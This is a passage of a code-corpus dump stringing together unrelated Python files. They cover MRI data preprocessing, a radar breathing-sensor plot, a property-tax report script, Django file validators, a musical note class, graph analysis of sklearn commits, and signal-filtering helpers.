+ delta_1]\n # 宽度填充\n tmp_ct_t2 = np.zeros((ct_t2_array.shape[0], SI_2_AP[0], SI_2_AP[1]))\n tmp_ct_t1 = np.zeros(tmp_ct_t2.shape)\n tmp_ct_flair = np.zeros(tmp_ct_t2.shape)\n tmp_seg = np.zeros(tmp_ct_t2.shape)\n\n tmp_ct_t2[:, delta_0:tmp_ct_t2_1.shape[1] + delta_0, :] = tmp_ct_t2_1\n tmp_ct_t1[:, delta_0:tmp_ct_t2_1.shape[1] + delta_0, :] = tmp_ct_t1_1\n tmp_ct_flair[:, delta_0:tmp_ct_t2_1.shape[1] + delta_0, :] = tmp_ct_flair_1\n tmp_seg[:, delta_0:tmp_ct_t2_1.shape[1] + delta_0, :] = tmp_seg_1\n else:\n tmp_ct_t2 = ct_t2_array\n tmp_ct_t1 = ct_t1_array\n tmp_ct_flair = ct_flair_array\n tmp_seg = seg_array\n print(\"Preprocessed_padding shape:\", tmp_ct_t2.shape, tmp_seg.shape)\n print('')\n\n # Z-score\n ct_t2_array = self.normalize(tmp_ct_t2)\n ct_t1_array = self.normalize(tmp_ct_t1)\n ct_flair_array = self.normalize(tmp_ct_flair)\n\n print(\"Preprocessed_final shape:\", ct_t2_array.shape, tmp_seg.shape)\n # 合并三个模态\n assert ct_t2_array.shape == ct_t1_array.shape and ct_t2_array.shape == ct_flair_array.shape\n merged_mri = np.zeros([3, ct_t2_array.shape[0], ct_t2_array.shape[1], ct_t2_array.shape[2]])\n merged_mri[0, :] = ct_t2_array\n merged_mri[1, :] = ct_t1_array\n merged_mri[2, :] = ct_flair_array\n return merged_mri, tmp_seg\n\n def padding_img(self, img, size, stride):\n img_cha, img_s, img_h, img_w = img.shape\n leftover_s = (img_s - size) % stride\n\n if (leftover_s != 0):\n s = img_s + (stride - leftover_s)\n else:\n s = img_s\n\n tmp_full_imgs = np.zeros((img_cha, s, img_h, img_w), dtype=np.float32)\n tmp_full_imgs[:, :img_s, :, :] = img\n print(\"Padded images shape: \" + str(tmp_full_imgs.shape))\n return tmp_full_imgs\n \n # Divide all the full_imgs in pacthes\n def extract_ordered_overlap(self, img, size, stride):\n img_cha, img_s, img_h, img_w = img.shape\n assert (img_s - size) % stride == 0\n N_patches_img = (img_s - size) // stride + 1\n\n print(\"Patches number of the image:{}\".format(N_patches_img))\n patches = np.empty((N_patches_img, img_cha, size, img_h, img_w), dtype=np.float32)\n\n for s in range(N_patches_img): # loop over the full images\n patch = img[:, s * stride: s * stride + size, :, :]\n patches[s] = patch\n\n return patches # array with all the full_imgs divided in patches\n\n\ndef Test_Datasets(dataset_path, args):\n # data_list = sorted(glob(os.path.join(dataset_path, 'ct/*')))\n data_list = os.listdir(dataset_path)\n # label_list = sorted(glob(os.path.join(dataset_path, 'label/*')))\n print(\"The number of test_3cha samples is: \", len(data_list))\n for anli_dir in data_list:\n datapath = os.path.join(dataset_path, anli_dir)\n print(\"\\nStart Evaluate: \", datapath)\n yield Img_DataSet(datapath, args=args), anli_dir.split('-')[-1]\n","repo_name":"no-saint-no-angel/MS-Seg","sub_path":"3DUnet_xuanwu/dataset/dataset_lits_test_gai_2_3che_xuanwu.py","file_name":"dataset_lits_test_gai_2_3che_xuanwu.py","file_ext":"py","file_size_in_byte":16562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"14799659977","text":"#!/usr/bin/env python3 \nfrom __future__ import print_function # WalabotAPI works on both Python 2 an 3. \nfrom sys import platform \nfrom os import system \nfrom imp import load_source \nfrom os.path import join \nimport time, random \nimport math \nfrom collections import deque \nimport urllib.request \nmodulePath = join('/usr', 'share', 'walabot', 'python', 'WalabotAPI.py') \nwlbt = load_source('WalabotAPI', modulePath) \nwlbt.Init() \nstart = time.time() \nclass RealtimePlot: \n def __init__(self, axes, max_entries =100): \n self.axis_x = deque(maxlen=max_entries) \n self.axis_y = deque(maxlen=max_entries) \n self.axes = axes \n self.max_entries = max_entries \n self.lineplot, = axes.plot([], [], \"ro-\") \n self.axes.set_autoscaley_on(True) \n def add(self, x, y): \n self.axis_x.append(x) \n self.axis_y.append(y) \n self.lineplot.set_data(self.axis_x, self.axis_y) \n self.axes.set_xlim(self.axis_x[0], self.axis_x[-1] + 1e-15) \n self.axes.set_ylim(0, 0.2) \n self.axes.relim(); self.axes.autoscale_view() # rescale the y-axis \n def animate(self, figure, callback, interval = 50): \n import matplotlib.animation as animation \n def wrapper(frame_index): \n self.add(*callback(frame_index)) \n self.axes.relim(); self.axes.autoscale_view() # rescale the y-axis \n return self.lineplot \n animation.FuncAnimation(figure, wrapper, interval=interval) \ndef main(): \n from matplotlib import pyplot as plt \n # Walabot_SetArenaR - input parameters \n minInCm, maxInCm, resInCm = 30, 150, 1 \n # Walabot_SetArenaTheta - input parameters \n minIndegrees, maxIndegrees, resIndegrees = -4, 4, 2 \n # Walabot_SetArenaPhi - input parameters \n minPhiInDegrees, maxPhiInDegrees, resPhiInDegrees = -4, 4, 2 \n # Configure Walabot database install location (for windows) \n wlbt.SetSettingsFolder() \n # 1) Connect : Establish communication with walabot. \n wlbt.ConnectAny() \n # 2) Configure: Set scan profile and arena \n # Set Profile - to Sensor-Narrow. \n wlbt.SetProfile(wlbt.PROF_SENSOR_NARROW) \n # Setup arena - specify it by Cartesian coordinates. \n wlbt.SetArenaR(minInCm, maxInCm, resInCm) \n # Sets polar range and resolution of arena (parameters in degrees). \n wlbt.SetArenaTheta(minIndegrees, maxIndegrees, resIndegrees) \n # Sets azimuth range and resolution of arena.(parameters in degrees). \n wlbt.SetArenaPhi(minPhiInDegrees, maxPhiInDegrees, resPhiInDegrees) \n # Dynamic-imaging filter for the specific frequencies typical of breathing \n wlbt.SetDynamicImageFilter(wlbt.FILTER_TYPE_DERIVATIVE) \n # 3) Start: Start the system in preparation for scanning. \n wlbt.Start() \n fig, axes = plt.subplots() \n display = RealtimePlot(axes) \n display.animate(fig, lambda frame_index: (time.time() - start, random.random() * 100)) \n #plt.show() \n #fig, axes = plt.subplots() \n #display = RealtimePlot(axes) \n while True: \n appStatus, calibrationProcess = wlbt.GetStatus() \n # 5) Trigger: Scan(sense) according to profile and record signals \n # to be available for processing and retrieval. \n wlbt.Trigger() \n # 6) Get action: retrieve the last completed triggered recording \n energy = wlbt.GetImageEnergy() \n display.add(time.time() - start, energy * 100) \n #This is just for prototype purposes, we will gather the data in bulk and send them to the server in the future \n plt.pause(0.001) \nif __name__ == \"__main__\": main() \n","repo_name":"Nyceane/ai-face-lock","sub_path":"python/breathing.py","file_name":"breathing.py","file_ext":"py","file_size_in_byte":3469,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"38704304556","text":"import pandas as pd\nimport numpy as np\nfrom datetime import datetime,timedelta\nimport warnings\nwarnings.filterwarnings('ignore')\nimport os\nimport datetime\nimport time\nimport warnings\nwarnings.filterwarnings('ignore')\n\n#-----------------------------------------------------------------------------------------------------------------------\n## Define the today's date\ntoday = datetime.datetime.today().date()\ntday =today.strftime(\"%d_%b_%Y\")\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n## Start\nif __name__ == '__main__':\n main_path = r\"D:/\"\n std_path= r\"D:\\Test_model/\"\n inppath = std_path + \"Input/\"\n outpth = std_path + \"OutPut/\" + tday + \"/\"\n tax_data = main_path + \"/Tax_Data/\"\n paidamount_folder = main_path + \"Paidamount/\"\n if os.path.exists(outpth):\n pass\n else:\n os.mkdir(outpth)\n mappath = std_path + \"Mapping/\"\n\ndef mapping_type(mappath):\n usetype = pd.read_csv(mappath + \"usetype.csv\")\n usemap = dict(zip(usetype['usetypekey'],usetype['eng_usename']))\n\n consttype = pd.read_csv(mappath + \"constructiontype.csv\")\n construcmap = dict(zip(consttype['constructiontypekey'],consttype['eng_constructiontypename']))\n\n occptype= pd.read_csv(mappath + \"occupancy.csv\")\n occpmap = dict(zip(occptype['occupancykey'],occptype['occupancyname']))\n\n subusetype= pd.read_csv(mappath + \"subusetype.csv\")\n subusemap = dict(zip(subusetype['subusetypekey'],subusetype['eng_subusename']))\n\n zonetype =pd.read_csv(mappath + \"zone.csv\")\n zonemap = dict(zip(zonetype['zonekey'],zonetype['eng_zonename']))\n\n gattype = pd.read_csv(mappath + \"gat.csv\")\n # gattype['gatname_z'] = gattype['gatname'].astype(str) + \"_\" + gattype['zonetype'].astype(str)\n gattype['gatname_z'] = gattype['gatname'].astype(str)\n gatnamemap = dict(zip(gattype['gat'], gattype['gatname_z']))\n\n specialowner = pd.read_csv(mappath + \"specialownership.csv\")\n splownmap = dict(zip(specialowner['specialownership'], specialowner['eng_specialownershipname']))\n\n splacctype = pd.read_csv(mappath + \"specialoccupant.csv\")\n splaccmap = dict(zip(splacctype['specialoccupantkey'], splacctype['eng_specialoccupantname']))\n\n return zonemap,usemap,construcmap,occpmap,subusemap,gatnamemap,splownmap,splaccmap\n\n\nzonemap,usemap,construcmap,occpmap,subusemap,\\\n gatnamemap,splownmap,splaccmap = mapping_type(mappath)\n\n#-----------------------------------------------------------------------------------------------------------------------\ndf = pd.read_csv(inppath + \"Japti_data 28-06-2023.csv\",encoding='utf-8')\n\nwrong_pid = pd.read_excel(inppath + \"japtiwrong_pid.xlsx\")\n\nfor i in wrong_pid['Wrong_pid']:\n for j in wrong_pid['pid']:\n df['propertycode'] = df['propertycode'].str.replace(str(i),str(j))\n\ndf['propertycode'] = df['propertycode'].str.replace('1040705608.00.00','1040705608.00')\\\n .str.replace('1150406630 .00','1150406630.00').str.replace('`','')\n\ndf['propertycode'] = df['propertycode'].astype(float)\ndf['propertycode'] = df['propertycode'].apply(\"{:.02f}\".format)\n#-------------------------------------------------------------------------------------------------\ndf_receiptdata = pd.read_csv(tax_data + \"Property_Tax_Receipt_Amount_Dump_24042023.csv\")\ndf_receiptdata.dropna(subset=['propertykey'], how='all', inplace=True)\n\nplist = pd.read_csv(tax_data + \"Property_List_24042023.csv\")\nproperty_list_df = plist[plist['verified'] != \"N\"]\nplist_df = property_list_df[['propertykey', 'propertycode','usetypekey','constructiontypekey', 'occupancykey', 'subusetypekey',\n 'specialownership','specialoccupantkey','propertyname','own_mobile', 'propertyaddress']]\nplist_rearrange_data = plist_df.copy()\nplist_rearrange_data['Use_Type'] = plist_rearrange_data['usetypekey'].map(usemap)\nplist_rearrange_data['Construction_Type'] = plist_rearrange_data['constructiontypekey'].map(construcmap)\nplist_rearrange_data['Occupancy_Type'] = plist_rearrange_data['occupancykey'].map(occpmap)\nplist_rearrange_data['Subuse_Type'] = plist_rearrange_data['subusetypekey'].map(subusemap)\nplist_rearrange_data['propertykey'] = plist_rearrange_data['propertykey'].drop_duplicates()\nplist_rearrange_data['propertycode'] = plist_rearrange_data['propertycode'].drop_duplicates()\n\nproperty_details = pd.DataFrame(plist_rearrange_data,columns=['propertykey', 'propertycode', 'own_mobile', 'propertyaddress',\n 'Use_Type', 'Construction_Type', 'Occupancy_Type', 'Subuse_Type'])\n\nproperty_finmth_df11 = df_receiptdata[['propertykey', 'receiptdate','paidamount']]\nnew_df_selected = property_finmth_df11.sort_values(['propertykey', 'receiptdate']).drop_duplicates('propertykey',keep='last')\n\n# new_df = pd.DataFrame(property_finmth_df11.groupby('propertykey')['receiptdate'].agg(lambda x: x.tolist()).tolist()).replace({None: np.nan})\n# new_df_selected = new_df.iloc[:,:27]\n# new_df_selected.columns = [f'LastPayment_date_{i}' for i in new_df_selected.columns]\n# new_df_selected['propertykey'] = property_finmth_df11['propertykey'].drop_duplicates().reset_index(drop=True)\n\ndf_merge = property_details.merge(new_df_selected,on ='propertykey',how='left')\ndf_merge.dropna(subset=['propertykey'], how='all', inplace=True)\n# df_merge =df_merge.rename(columns={\"receiptdate\":\"Last Payments Date\",\"paidamount\":'Last Paid Amount'})\ndf_merge =df_merge.rename(columns={\"paidamount\":'Last Paid Amount'})\n\ndf_merge_japti = df.merge(df_merge,on='propertycode',how='left')\n\n#-----------------------------------------------------------------------------------------------------------------------\nbill_details = pd.read_csv(inppath + \"Master_Bill_Distributed_Payments.csv\")\nbillsdetails = pd.DataFrame(bill_details, columns=['propertycode','visitDate','mobileUpdated','propertyLat','propertyLong'])\nbill_details['BillDist_Flag'] = 1\nbill_details['propertycode'] = bill_details['propertycode'].astype(float)\nbill_details['propertycode'] = bill_details['propertycode'].apply(\"{:.02f}\".format)\n\ndmf = df_merge_japti.merge(bill_details,on='propertycode',how='left')\nddd = dmf.sort_values('propertycode',ascending=False)\n\nddd[\"Quarter\"] = pd.PeriodIndex(ddd[\"receiptdate\"], freq=\"Q-Mar\").strftime(\"Q%q\")\n\nddd['mobileno'] = ddd['mobileno'].replace(\"9762398018 / 9561752879\", \"9762398018\").replace(\"9822745427/9881777166\",\"9881777166\").replace(',',\"\")\\\n .fillna(0).astype('int64')\n# ddd['mobileno'] = ddd['mobileno'].apply(lambda x: x.replace(',', '').lstrip('0'))\n# ddd['mobileno'] = ddd['mobileno'].apply(lambda x:x if len(x) == 10 else '')\nddd['New Mobile'] = np.where((ddd['mobileno'] > 5999999999) & (ddd['mobileno'] <= 9999999999), ddd['mobileno'], '')\n\nddd['New Mobile'] = ddd['New Mobile'].fillna(ddd['mobileUpdated'])\n\nddd = ddd[['propertycode','zonename', 'gatname', 'propertyname', 'receiptdate','Quarter', 'Last Paid Amount','propertykey',\n 'propertyaddress','mobileno','balanceamount', 'status','New Mobile']]\n\nfiltered_japtidata = ddd[~ddd['status'].isin(['L','F'])]\n\nfiltered_japtidata.to_excel(outpth + \"Japti_data.xlsx\",index=False)\n\n# propertycode zonename gatname propertyName receiptdate Quarter lastYearPaidamount propertykey propertyAddress propertyContactNo arrearsAmount currentBill totalAmount\n","repo_name":"yadnesh9trix/Test_model","sub_path":"Code/JaptiNotice_data(Dashboard).py","file_name":"JaptiNotice_data(Dashboard).py","file_ext":"py","file_size_in_byte":7384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24169658963","text":"def swap(data):\n new = ''\n for i in data:\n if i == 'N':\n new += 'W'\n elif i == 'W':\n new += 'N'\n elif i == 'E':\n new += 'S'\n else:\n new += 'E'\n return new\n\n\nif __name__ == '__main__':\n for case in range(int(input())):\n n = int(input())\n old = input()\n print('Case #{}: {}'.format(case + 1, swap(old)))\n","repo_name":"PathomphongPromsit/GoogleCodejam2019","sub_path":"qualificationRound/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"15205000027","text":"#!/usr/bin/env python\n#-*- coding:utf8 -*-\nfrom django.core.validators import validate_email,validate_slug,validate_ipv4_address,RegexValidator,URLValidator,MaxValueValidator,MinValueValidator,MinLengthValidator,MaxLengthValidator, validate_integer\nfrom tools.utils import get_file_type\nfrom django.core.exceptions import ValidationError\n\nclass FileSizeValidator(object):\n message = u\"文件太大,最大只能上传%sM文件\"\n code = \"max_size\"\n\n def __init__(self,max_size=100*1024*1024):#100M\n self.max_size = max_size\n\n def __call__(self,value):\n if value.size>self.max_size*1024*1024:\n raise ValidationError(\n self.message % self.max_size,\n code=self.code,\n )\n\nclass FileTypeBaseValidator(object):\n \"\"\"目前只识别flv和pdf格式 [python magic]\"\"\"\n FILE_TYPE_CHOICES = {\"pdf\":\"application/pdf\",\"flv\":\"video/x-flv\"}\n message = u\"文件格式错误,需上传%s格式文件\"\n code =\"file type error\"\n filetype= \"\"\n\n def __init__(self,*args):\n pass\n\n def __call__(self,value):\n file_type = get_file_type(value)\n if not file_type == self.FILE_TYPE_CHOICES[self.filetype]:\n raise ValidationError(\n self.message %self.filetype,\n code=self.code,\n )\n\nclass FilePDFValidator(FileTypeBaseValidator):\n \"\"\"pdf格式\"\"\"\n filetype=\"pdf\"\n\nclass FileFlvValidator(FileTypeBaseValidator):\n \"\"\"flv格式\"\"\"\n filetype = \"flv\"\n\nclass FileNameValidator(object):\n \"\"\" \n file后缀名,多个用|隔开\n 大小写不敏感\n \"\"\"\n message = u\"文件格式有误,只能是%s的文件\"\n code = \"file type error\"\n\n def __init__(self,file_name):\n self.file_name = file_name\n self.name_list = [name.lower() for name in self.file_name.split(\"|\")]\n def __call__(self,value):\n name = value.name.split(\".\")[-1]\n if not (name.lower() in self.name_list):\n raise ValidationError(\n self.message %self.file_name,\n code = self.code,\n )\n\nclass MutiLimitValidator(object):\n '''\n 对多选项的字段进行数量限制\n '''\n message = u\"最多只能选择%d项\"\n def __init__(self, limit):\n self.limit = int(limit)\n def __call__(self, value):\n if len(value) > self.limit:\n raise ValidationError(\n self.message % self.limit,\n )\n","repo_name":"you-n-g/python_apps_to_copy","sub_path":"eform/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29933963060","text":"def colorTupleFromValue(val, base):\n\tif(val > (pow(base, 3) - 1)):\n\t\traise Exception(\"Cannot represent number \" + str(val) + \" as a 3 digit integer of base \" + str(base))\n\t\t#You screwed it up\n\tcolor = [0, 0, 0]\n\t\n\thundreds = (val - (val%pow(base, 2)))/pow(base, 2)\n\tcolor[2] = int(hundreds)\n\tval -= hundreds * pow(base, 2)\n\t\n\ttens = (val - (val%base))/base\n\tcolor[1] = int(tens)\n\tval -= tens * base\n\t\n\tcolor[0] = int(val)\n\t\n\treturn tuple(color)\ntry:\n\tprint(colorTupleFromValue(44, 6))\nexcept Exception as e:\n\tprint(e)","repo_name":"SpencerBelleau/MiscPythonScripts","sub_path":"Misc/baseXconverter.py","file_name":"baseXconverter.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29551837957","text":"import os\nimport csv\nimport datetime\nimport networkx as nx\nimport matplotlib.pyplot as plt\nfrom operator import itemgetter\n\nget_ipython().magic('matplotlib inline')\n\nINPATH = 'sklearncommits_mini.txt' # full set was slow so clipped last 2yrs\nIMGPATH = 'sklearngraph.png'\nGRAPHML = 'sklearngraph.graphml'\nDATEFORMAT = ' %a %b %d %H:%M:%S %Y %z'\n\ng = nx.Graph(name=\"Sklearn Commits\")\n\nifile = open(os.path.join('data', INPATH), 'r')\ncommits = csv.reader(ifile)\n\nfor commit in commits:\n commit_hash = commit[0] # Uniquely identifies a commit\n parent_hashes = commit[1]\n contributor = commit[2]\n try: \n commit_timestamp = datetime.datetime.strptime(commit[3], DATEFORMAT).date()\n except:\n pass\n \n g.add_node(commit_hash, timestamp=commit_timestamp) # add other elements?\n g.add_node(contributor)\n g.add_edge(contributor, commit_hash, label='contributor')\n\n for parent in parent_hashes:\n g.add_node(parent, timestamp=commit_timestamp)\n delta = g.node[parent]['timestamp']-g.node[commit_hash]['timestamp']\n g.add_edge(parent, commit_hash, label='parent', weight=delta.total_seconds())\n\ncenter, degree = sorted(g.degree().items(), key=itemgetter(1), reverse=True)[0]\n# A special type of subgraph\nego = nx.ego_graph(g, center)\n\npos = nx.spring_layout(g)\nnx.draw(g, pos, node_color='#0080C9', edge_color='#cccccc', node_size=50)\nnx.draw_networkx_nodes(g, pos, nodelist=[center], node_size=100, node_color=\"r\")\nplt.show()\n\nfor component in nx.connected_components(g):\n print(len(component))\n\ndegree_sequence=sorted(nx.degree(g).values(),reverse=True) # degree sequence\n\nplt.loglog(degree_sequence,'b-',marker='.')\nplt.title(\"Degree rank plot\")\nplt.ylabel(\"degree\")\nplt.xlabel(\"rank\")\n\nprint(\"Order: %i\" % g.number_of_nodes())\nprint(\"Size: %i\" % g.number_of_edges())\nprint(\"Clustering: %0.5f\" % nx.average_clustering(g))\nprint(\"Transitivity: %0.5f\" % nx.transitivity(g))\n\nhairball = nx.subgraph(g, [x for x in nx.connected_components(g)][0])\nprint(\"Average shortest path: %0.4f\" % nx.average_shortest_path_length(hairball))\n\nprint(nx.density(g))\n\nnx.draw(g)\n\n# plt.savefig(os.path.join('images', IMGPATH))\n\nnx.write_graphml(g,GRAPHML)\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/Sklearn Growth.py","file_name":"Sklearn Growth.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21286457874","text":"from typing import Tuple, Union, Iterable\n\nfrom melodia.core.signature import Signature\nfrom melodia.core.tone import Tone\n\n\nclass Note:\n \"\"\"\n Note represents musical note with three main characteristics: tone, velocity and duration.\n \"\"\"\n __slots__ = ('_tone', '_velocity', '_duration')\n\n def __init__(\n self,\n tone: Union[Tone, int, str],\n duration: Union[Signature, Tuple[int, int]] = Signature(1, 4),\n velocity: float = 0.75\n ):\n \"\"\"\n Initializes Note object. Tone can be a Tone object, an integer or a string.\n In the case of an integer, Tone constructor is called.\n In the case of a string, Tone.from_notation is called.\n Duration can be a Signature object or a pair of integers.\n In the case of a pair of integers Signature constructor is called.\n Velocity must be a float in the range [0.0, 1.0] where 0.0 is the minimum velocity and\n 1.0 is the maximum velocity. By default velocity is 0.75 (as in many DAWs).\n\n :param tone: tone of the note, must be Tone object, integer or string\n :param duration: duration of the note, must be Signature or pair of integers (default: (1, 4))\n :param velocity: float number in the range [0.0, 1.0] (default: 0.75)\n \"\"\"\n self._tone: Tone\n if isinstance(tone, Tone):\n self._tone = tone\n elif isinstance(tone, int):\n self._tone = Tone(tone)\n elif isinstance(tone, str):\n self._tone = Tone.from_notation(tone)\n else:\n raise TypeError('tone must be a Tone object, an integer or a string')\n\n self._duration: Signature\n if isinstance(duration, Signature):\n self._duration = duration\n elif isinstance(duration, Iterable):\n self._duration = Signature(*duration)\n else:\n raise TypeError('duration must be a Signature object or a pair of integers')\n\n if not 0.0 <= velocity <= 1.0:\n raise ValueError('velocity must be in range [0.0, 1.0]')\n\n self._velocity: float = velocity\n\n @property\n def tone(self) -> Tone:\n \"\"\"\n Returns tone of the note.\n\n :return: tone of the note\n \"\"\"\n return self._tone\n\n @property\n def velocity(self) -> float:\n \"\"\"\n Returns velocity of the note.\n\n :return: velocity of the note.\n \"\"\"\n return self._velocity\n\n @property\n def duration(self) -> Signature:\n \"\"\"\n Returns duration of the note.\n\n :return: duration of the note\n \"\"\"\n return self._duration\n\n def transposed(self, transposition: int) -> 'Note':\n \"\"\"\n Returns note with transposed tone. Duration and velocity remains the same.\n\n :param transposition: integer number of semitones to transpose tone\n :return: note with transposed tone\n \"\"\"\n return Note(\n tone=self._tone.transposed(transposition),\n duration=self._duration,\n velocity=self._velocity\n )\n\n def with_duration(self, duration: Union[Signature, Tuple[int, int]]) -> 'Note':\n \"\"\"\n Returns note with new duration. Tone and velocity remains the same.\n\n :param duration: new duration\n :return: note with new duration\n \"\"\"\n return Note(\n tone=self._tone,\n duration=duration,\n velocity=self._velocity\n )\n\n def with_velocity(self, velocity: float) -> 'Note':\n \"\"\"\n Returns note with new velocity. Tone and duration remains the same.\n\n :param velocity: new velocity\n :return: note with new velocity\n \"\"\"\n return Note(\n tone=self._tone,\n duration=self._duration,\n velocity=velocity\n )\n\n def _as_triplet(self) -> Tuple[Tone, Signature, float]:\n return self._tone, self._duration, self._velocity\n\n def __str__(self) -> str:\n \"\"\"\n Returns human-readable representation of the note.\n\n :return: human-readable representation of the note\n \"\"\"\n return f'Note {str(self._duration)} {str(self._tone)} ({self._velocity:.3f})'\n\n def __repr__(self) -> str:\n \"\"\"\n Returns string representation of the note.\n\n :return: string representation of the note\n \"\"\"\n name = self.__class__.__name__\n pitch = self._tone.pitch\n velocity = self._velocity\n duration = f'({self._duration.nominator}, {self._duration.denominator})'\n\n return f'{name}(tone={pitch}, duration={duration}, velocity={velocity}) '\n\n def __eq__(self, other: 'Note') -> bool:\n \"\"\"\n Compares two notes for equality. Notes are equal if all their components are equal.\n\n :param other: other note\n :return: True if notes are equal, False otherwise\n \"\"\"\n return self._as_triplet() == other._as_triplet()\n\n def __le__(self, other: 'Note') -> bool:\n \"\"\"\n Compares two notes. Notes are compared as triplets (pitch, duration, velocity).\n\n :param other: other note\n :return: True if this note is less or equal than other note, False otherwise\n \"\"\"\n return self._as_triplet() <= other._as_triplet()\n\n def __lt__(self, other: 'Note') -> bool:\n \"\"\"\n Compares two notes. Notes are compared as triplets (pitch, duration, velocity).\n\n :param other: other note\n :return: True if this note is less than other note, False otherwise\n \"\"\"\n return self._as_triplet() < other._as_triplet()\n\n def __ge__(self, other: 'Note') -> bool:\n \"\"\"\n Compares two notes. Notes are compared as triplets (pitch, duration, velocity).\n\n :param other: other note\n :return: True if this note is greater or equal than other note, False otherwise\n \"\"\"\n return self._as_triplet() >= other._as_triplet()\n\n def __gt__(self, other: 'Note') -> bool:\n \"\"\"\n Compares two notes. Notes are compared as triplets (pitch, duration, velocity).\n\n :param other: other note\n :return: True if this note is greater than other note, False otherwise\n \"\"\"\n return self._as_triplet() > other._as_triplet()\n","repo_name":"Aozhi/melodia","sub_path":"src/melodia/core/note.py","file_name":"note.py","file_ext":"py","file_size_in_byte":6282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30498021248","text":"from hwt.doc_markers import internal\n\nclass LangueKeyword(object):\n \"\"\"\n Base class for keywords of target language\n \"\"\"\n pass\n\n\nclass NameOccupiedErr(Exception):\n def __init__(self, usedOn):\n self.usedOn = usedOn\n\n\nclass NameScopeItem(dict):\n \"\"\"\n if name is discovered in scope it is converted to name_id\n where id is sequential number for prefix name\\_\n \"\"\"\n\n def __init__(self, myLvl):\n super().__init__()\n self.myLvl = myLvl\n\n # some names are specified just as prefix and serializer\n # should resolve correct name for object\n # this happens for most of generated objects\n self.cntrsForPrefixNames = {}\n\n def getChild(self, parent):\n try:\n return parent[self.myLvl + 1]\n except IndexError:\n return None\n\n def getParent(self, parent):\n\n i = self.myLvl - 1\n if i < 0:\n return None\n else:\n return parent[self.myLvl - 1]\n\n @internal\n def __incrPrefixCntrsForChilds(self, prefix, currentVal, parent):\n # [TODO] check if new name is not defined in any direction\n currentVal += 1\n self.cntrsForPrefixNames[prefix] = currentVal\n ch = self.getChild(parent)\n while ch:\n if prefix in ch.cntrsForPrefixNames:\n ch.cntrsForPrefixNames[prefix] = currentVal\n ch = ch.getChild(parent)\n else:\n # prefix is not registered at any child\n break\n\n usableName = prefix + str(currentVal)\n return usableName\n\n @internal\n def __registerName(self, name, obj, parent):\n # search if name is already defined on me and parents\n actual = self\n o = None\n\n if parent.ignorecase:\n _name = name.lower()\n else:\n _name = name\n\n while actual is not None:\n try:\n o = actual[_name]\n except KeyError:\n actual = actual.getParent(parent)\n continue\n break\n\n if o is None or o is obj:\n # we can use use the name, because it is not used\n self[_name] = obj\n else:\n raise NameOccupiedErr(o)\n\n def getUsableName(self, suggestedName, obj, parent):\n if not suggestedName.endswith(\"_\"):\n try:\n self.__registerName(suggestedName, obj, parent)\n return suggestedName\n except NameOccupiedErr:\n suggestedName += \"_\"\n\n actual = self\n try:\n cntrVal = actual.cntrsForPrefixNames[suggestedName]\n except KeyError:\n cntrVal = -1\n\n # setup for me and propagate to children\n usableName = self.__incrPrefixCntrsForChilds(\n suggestedName, cntrVal, parent)\n self.__registerName(usableName, obj, parent)\n return usableName\n\n\nclass NameScope(list):\n \"\"\"\n Scope of used names in hdl\n \"\"\"\n\n def __init__(self, ignorecase):\n super().__init__()\n self.ignorecase = ignorecase\n\n def fork(self, lvl):\n f = self.__class__(self.ignorecase)\n for i in range(lvl):\n f.append(self[i])\n return f\n\n def setLevel(self, lvl):\n \"\"\"\n Trim or extend scope\n lvl = 1 -> only one scope (global)\n \"\"\"\n while len(self) != lvl:\n if len(self) > lvl:\n self.pop()\n else:\n self.append(NameScopeItem(len(self)))\n\n def checkedName(self, actualName, actualObj, isGlobal=False):\n if isGlobal:\n return self[0].getUsableName(actualName, actualObj, self)\n else:\n return self[-1].getUsableName(actualName, actualObj, self)\n","repo_name":"abdo1819/hwt","sub_path":"hwt/serializer/generic/nameScope.py","file_name":"nameScope.py","file_ext":"py","file_size_in_byte":3763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"} +{"seq_id":"13226580346","text":"import numpy as np\nimport scipy.signal as signal\nimport pandas as pd\n\n\n# --- helper functions ---\n# butterworth lowpass and highpass filter {{{\ndef butterworth_filter(data, fs=100, fc=None, order=5, kind=\"low\"):\n \"\"\"Butterworth low- and hihg-pass filter implementation.\"\"\"\n\n if fc is not None:\n b, a = signal.butter(order, fc/(0.5*fs), btype=kind, analog=False)\n data_filtered = signal.filtfilt(b, a, data)\n if hasattr(data, \"mask\"):\n return np.ma.masked_array(data_filtered, mask=data.mask)\n else:\n return data_filtered\n else:\n return data\n# }}}\n\n# detrend with no nans {{{\ndef detrend(y, degree=1):\n \"\"\"Nice detrend function to handle with NaNs.\"\"\"\n \n # remove nans\n if hasattr(y, \"mask\"):\n if len(np.nonzero(y.mask)[0]) == len(y):\n raise Exception(\"Array is full of nans\")\n else:\n ixnan = np.isnan(y)\n y[ixnan] = np.nanmean(y)\n\n # fit a polinomial\n x = np.linspace(0, len(y), len(y))\n p = np.polyfit(x, y, degree)\n\n # remove trend\n return y - np.polyval(p, x)\n# }}}\n\n# resample data to the same sampling frequency {{{\ndef resample(x, y):\n \"\"\"Interpolates `y` data into `x` size and returns `y_new`\n \n This function uses pandas for an accurate resample. The `x` data is the\n fast signal and the `y` data is the slow signal. This function interpolates\n `y` data into the `x` data.\n \n \"\"\"\n\n x_time = np.linspace(0, 100, len(x))\n y_time = np.linspace(0, 100, len(y))\n\n s = pd.Series(y, index=y_time)\n\n # check the number of nans\n n = len(y)\n n_nans = 